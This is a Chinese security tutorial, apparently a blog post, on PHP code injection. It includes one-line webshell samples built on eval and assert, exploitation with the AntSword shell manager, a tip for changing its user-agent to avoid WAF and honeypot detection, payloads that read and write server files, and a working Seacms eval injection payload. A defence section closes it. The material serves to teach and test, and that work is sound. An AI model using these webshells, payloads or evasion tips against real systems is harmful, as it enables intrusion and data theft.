OWASP TOP 10(一)PHP代码注入(概述、注入方式、漏洞利用(中国蚁剑获取shell、获取文件路径、读写文件)、防御方法、Seacms的php注入)

本文详细介绍了PHP代码注入的概念、常见函数与语句(如eval(), assert(), preg_replace()等)、漏洞利用方法(包括获取Shell、读写文件)以及如何防御这种攻击。同时,列举了Seacms系统中的PHP注入案例,提醒开发者应避免使用易引发风险的函数,并提供了一些安全实践建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

OWASP TOP 10

PHP代码注入

一、概述

  1. 概述

PHP代码注入(执行):在Web方面应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。

代码执行(注入) 类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它,这样的漏洞如果没有特殊的过滤,相当于直接有一个Web后门的存在。

  1. php代码注入发生的条件
  • 程序中含有可以执行PHP代码的函数或者语言结构;
  • 传入第一点中的参数客户端可控,直接修改或者影响。
  1. 危害

Web应用如果存在代码执行漏洞是一件非常可怕的事情,绝对的暴露,可以通过代码执行漏洞继承Web用户权限,执行任意代码。如果具有服务器没有正确配置,Web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。

PHP中有很多函数和语句都会造成PHP代码执行漏洞。

二、PHP相关函数&语句

1. eval()

eval() 函数把字符串按照 PHP 代码来计算执行。该字符串必须是合法的 PHP 代码,且必须以分号结尾。

  • 注释:return 语句会立即终止对字符串的计算。

一句话木马

<?php
@$str = $_REQUEST['code'];
eval($str);
?>

测试:可以上传多个参数
在这里插入图片描述

2. assert()

assert()函数是一个断言函数,如果函数里是字符串时,它会把字符串当做 PHP 代码来执行且不需要分号。

示例:

<?php
@$str = $_REQUEST['code'];
@assert($str);
?>

传入参数测试结果:

在这里插入图片描述

3. preg_replace

该函数执行一个正则表达式的搜索和替换。

语法:搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

mixed preg_replace(mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

参数说明:

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。

$pattern 处,即第一个参数存在e修饰符时,$replacement 的值会被当成PHP代码来执行。

示例1:

<?php
$str = preg_replace('/a/','b',"accccca");
echo $str;
?>
// 结果:bcccccb

示例2:

<?php
@$code=$_REQUEST['code'];
@preg_replace('/\[(.*)\]/e','\\1',$code);
?> 

说明:

\[:转义为[
.*:匹配所有

传入参数测试结果:

在这里插入图片描述

4. call_user_func

该函数把第一个参数作为回调函数调用,后面的参数为回调函数的参数。

php中函数有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。

示例:

<?php
if(isset($_GET['fun'])){
	$fun = $_GET['fun'];
	$para = $_GET['para'];
	call_user_func($fun,$para);
}
?>

传入参数测试结果:

在这里插入图片描述

5. 动态函数 $a($b)

由于PHP的特性原因,PHP的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制有加大了难度。

写法跟使用call_user_func()的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

示例:$a为函数名,$b为函数的参数

<?php
if(isset($_GET['a'])){
	$a = $_GET['a'];
	$b = $_GET['b'];
	$a($b);
}
?>

传入参数测试:

在这里插入图片描述

三、漏洞利用

1. 直接获取Shell

使用中国蚁剑工具。连接一句话木马的url。

在这里插入图片描述

示例:

  1. 添加数据

在这里插入图片描述

  1. 复制url

在这里插入图片描述

  1. 成功连接

在这里插入图片描述

虚拟终端:

在这里插入图片描述

  • 注意:软件默认的user-agent是:User-Agent: antSword/v2.0;而且大部分人都不会去自定义useragent,这就给waf和蜜罐白白送了一个特征,所以我们要修改一下源代码:

在这里插入图片描述
在这里插入图片描述

文件路径:antSword\modules\request.js (修改const USER_AGENT = ‘antSword/v2.1’;)

antSword\modules\update.js (有两处要修改)

2. 获取当前文件的绝对路径

__FILE__是PHP 预定义常量,其含义当前文件的路径。

示例:提交参数:?code=print(__FILE__) ;

在这里插入图片描述

3. 读文件

我们可以利用 file_get_contents() 函数读取服务器任意文件。

前提是知道目标文件路径和读取权限。

示例:

提交参数,读取服务器c盘下的hosts文件:?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));

在这里插入图片描述

4. 写文件

我们可以利用 file_put_contents(文件名,文件内容) 函数,写入文件。

前提是知道一个可写的文件目录。

示例:
提交参数 ?code=var_dump(file_put_contents($_POST[1],$_POST[2])); ,提交了两个参数1,2;

此时需要借助工具(hackbar)通过post方式提交参数:1=test.php&2=<?php phpinfo();?>

在这里插入图片描述

成功写入文件:

在这里插入图片描述

四、防御方法

  1. 尽量不要使用eval等函数
  2. 如果使用的话一定要进行严格的过滤
  3. preg_replace 放弃使用/e修饰符
  4. 禁用一些函数如assert:在php.ini配置文件中
disable_functions = assert

五、Seacms的php注入

  1. 下载安装Seacms

海洋影视管理系统(6.26、6.53、6.54、6.55等版本都存在),存在php注入。

下载地址:https://github.com/ciweiin/seacms

在这里插入图片描述
在这里插入图片描述

  1. 测试注入

seacms v6.45 中有个可控的变量没有经过过滤,就被带入了 eval() 中,导致了代码执行。

post参数:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值